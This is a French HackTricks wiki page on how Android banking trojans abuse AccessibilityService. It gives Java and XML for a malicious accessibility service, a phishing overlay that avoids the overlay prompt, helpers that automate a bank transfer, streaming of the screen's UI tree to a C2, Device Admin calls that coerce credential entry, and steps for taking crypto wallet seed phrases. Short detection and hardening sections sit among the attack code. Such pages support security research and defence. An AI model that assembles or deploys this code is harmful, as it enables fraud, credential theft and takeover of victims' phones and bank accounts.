hacktricks/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md

232 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Abus du service d'accessibilité Android
{{#include ../../banners/hacktricks-training.md}}
## Vue d'ensemble
`AccessibilityService` a été créé pour aider les utilisateurs en situation de handicap à interagir avec les appareils Android. Malheureusement, les mêmes **API d'automatisation puissantes** (navigation globale, saisie de texte, dispatch de gestes, fenêtres d'overlay…) peuvent être détournées par des malwares pour obtenir un **contrôle total à distance** du téléphone _sans privilèges root_.
Les trojans bancaires Android modernes et les Remote-Access-Trojans (RATs) tels que **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** et bien d'autres suivent la même recette :
1. Amener la victime par ingénierie sociale à activer un service d'accessibilité malveillant (la *BIND_ACCESSIBILITY_SERVICE* permission est considérée comme "à haut risque" et nécessite une action explicite de l'utilisateur).
2. Exploiter le service pour
* capturer chaque événement UI et tout texte affiché à l'écran,
* injecter des gestes synthétiques (`dispatchGesture`) et des actions globales (`performGlobalAction`) pour automatiser toute tâche désirée par l'opérateur,
* dessiner des overlays plein écran au-dessus d'apps légitimes en utilisant le type de fenêtre **TYPE_ACCESSIBILITY_OVERLAY** (pas de prompt `SYSTEM_ALERT_WINDOW` !),
* accorder silencieusement des permissions runtime supplémentaires en cliquant sur les dialogues système au nom de la victime.
3. Exfiltrer des données ou réaliser du **On-Device-Fraud (ODF)** en temps réel pendant que l'utilisateur regarde un écran apparemment normal.
---
## Demander la permission
```xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
```
Le XML compagnon définit à quoi ressemblera la fausse boîte de dialogue :
```xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
```
---
## Primitives d'automatisation de l'interface utilisateur à distance
```java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
```
Avec seulement ces deux APIs, un attaquant peut :
* Déverrouiller l'écran, ouvrir l'application bancaire, parcourir son arbre UI et soumettre un formulaire de virement.
* Accepter toutes les boîtes de dialogue de permission qui s'affichent.
* Installer/mettre à jour des APK supplémentaires via l'intent Play Store.
---
## Schémas d'abus
### 1. Overlay Phishing (Credential Harvesting)
Un `WebView` transparent ou opaque est ajouté au window manager :
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
```
La victime saisit ses identifiants dans le formulaire factice pendant que l'app en arrière-plan reçoit les mêmes gestes aucune invite suspecte "draw over other apps" n'est jamais affichée.
> Exemple détaillé : la section *Accessibility Overlay Phishing* à l'intérieur de la page Tapjacking.
### 2. Automatisation de la fraude sur l'appareil
Des familles de malware telles que **PlayPraetor** maintiennent un canal WebSocket persistant où l'opérateur peut émettre des commandes de haut niveau (`init`, `update`, `alert_arr`, `report_list`, …). Le service traduit ces commandes en gestes bas-niveau décrits ci-dessus, réalisant des transactions non autorisées en temps réel qui contournent facilement la multi-factor-authentication liée à cet appareil.
### 3. Screen streaming & monitoring
En combinant la **MediaProjection API** avec une librairie cliente RTMP, le RAT peut diffuser le framebuffer en direct vers `rtmp://<c2>:1935/live/<device_id>`, offrant à l'adversaire une parfaite conscience situationnelle pendant que le moteur Accessibility pilote l'UI.
---
## PlayPraetor workflow de command & control
1. **HTTP(S) heartbeat** itère sur une liste codée en dur jusqu'à ce qu'un domaine réponde à `POST /app/searchPackageName` avec le C2 actif.
2. **WebSocket (port 8282)** commandes JSON bidirectionnelles :
* `update` push de nouvelles conf/APKs
* `alert_arr` configurer les templates d'overlay
* `report_list` envoyer la liste des noms de packages ciblés
* `heartbeat_web` keep-alive
3. **RTMP (port 1935)** streaming d'écran/vidéo en direct.
4. **REST exfiltration**
* `/app/saveDevice` (fingerprint)
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
* `/app/saveCardPwd` (bank creds)
Le **AccessibilityService** est le moteur local qui transforme ces commandes cloud en interactions physiques.
---
## Détection des services Accessibility malveillants
* `adb shell settings get secure enabled_accessibility_services`
* Settings → Accessibility → *Downloaded services* rechercher des apps qui ne proviennent **pas** de Google Play.
* Les solutions MDM / EMM peuvent imposer `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) pour bloquer les services sideloadés.
* Analyser les services en cours d'exécution :
```bash
adb shell dumpsys accessibility | grep "Accessibility Service"
```
---
## Recommandations de durcissement pour les développeurs d'apps
* Marquer les vues sensibles avec `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
* Combiner `setFilterTouchesWhenObscured(true)` avec `FLAG_SECURE` pour prévenir le détournement de tap/overlay.
* Détecter les overlays en sondant `WindowManager.getDefaultDisplay().getFlags()` ou l'API `ViewRootImpl`.
* Refuser de fonctionner lorsque `Settings.canDrawOverlays()` **ou** un Accessibility service non approuvé est actif.
---
## Aide-mémoire d'automatisation ATS (Accessibility-driven)
Le malware peut automatiser complètement une application bancaire uniquement avec les Accessibility APIs. Primitives génériques :
```java
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}
```
Exemple de flux (tchèque → étiquettes en anglais) :
- "Nová platba" (Nouveau paiement) → cliquer
- "Zadat platbu" (Saisir le paiement) → cliquer
- "Nový příjemce" (Nouveau bénéficiaire) → cliquer
- "Domácí číslo účtu" (Numéro de compte national) → mettre le focus et `ACTION_SET_TEXT`
- "Další" (Suivant) → cliquer → … "Zaplatit" (Payer) → cliquer → saisir le PIN
Fallback : coordonnées codées en dur avec `dispatchGesture` lorsque la recherche de texte échoue en raison de widgets personnalisés.
Observé aussi : des étapes préalables appelant check_limit et limit en naviguant dans l'interface des limites et en augmentant les limites journalières avant le transfert.
## Pseudo-streaming d'écran textuel
Pour le contrôle à distance à faible latence, au lieu d'un streaming vidéo complet, extraire une représentation textuelle de l'arbre UI courant et l'envoyer de façon répétée au C2.
```java
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
}
```
Ceci constitue la base pour des commandes comme `txt_screen` (one-shot) et `screen_live` (continuous).
## Device Admin coercion primitives
Une fois qu'un Device Admin receiver est activé, ces appels augmentent les opportunités de capturer des credentials et de maintenir le contrôle :
```java
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);
// 1) Immediate lock
dpm.lockNow();
// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);
```
Note : la disponibilité exacte de ces politiques varie selon la version d'Android et l'OEM ; validez le rôle de la device policy (admin vs owner) pendant les tests.
## Crypto wallet seed-phrase extraction patterns
Flux observés pour MetaMask, Trust Wallet, Blockchain.com et Phantom :
- Déverrouiller avec le PIN volé (capturé via overlay/Accessibility) ou le mot de passe du wallet fourni.
- Naviguer : Paramètres → Sécurité/Récupération → Révéler/Afficher la phrase de récupération.
- Récupérer la phrase via keylogging des nœuds de texte, contournement de secure-screen, ou OCR de capture d'écran lorsque le texte est masqué.
- Prendre en charge plusieurs locales (EN/RU/CZ/SK) pour stabiliser les sélecteurs préférer `viewIdResourceName` quand disponible, sinon se rabattre sur la correspondance de texte multilingue.
## NFC-relay orchestration
Les modules Accessibility/RAT peuvent installer et lancer une app dédiée de NFC-relay (p. ex. NFSkate) comme troisième étape et même injecter un guide en overlay pour accompagner la victime à travers les étapes de relai avec carte présente.
Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
---
## Références
* [PlayPraetors evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
* [Android accessibility documentation Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
* [GhostTap/NFSkate NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
{{#include ../../banners/hacktricks-training.md}}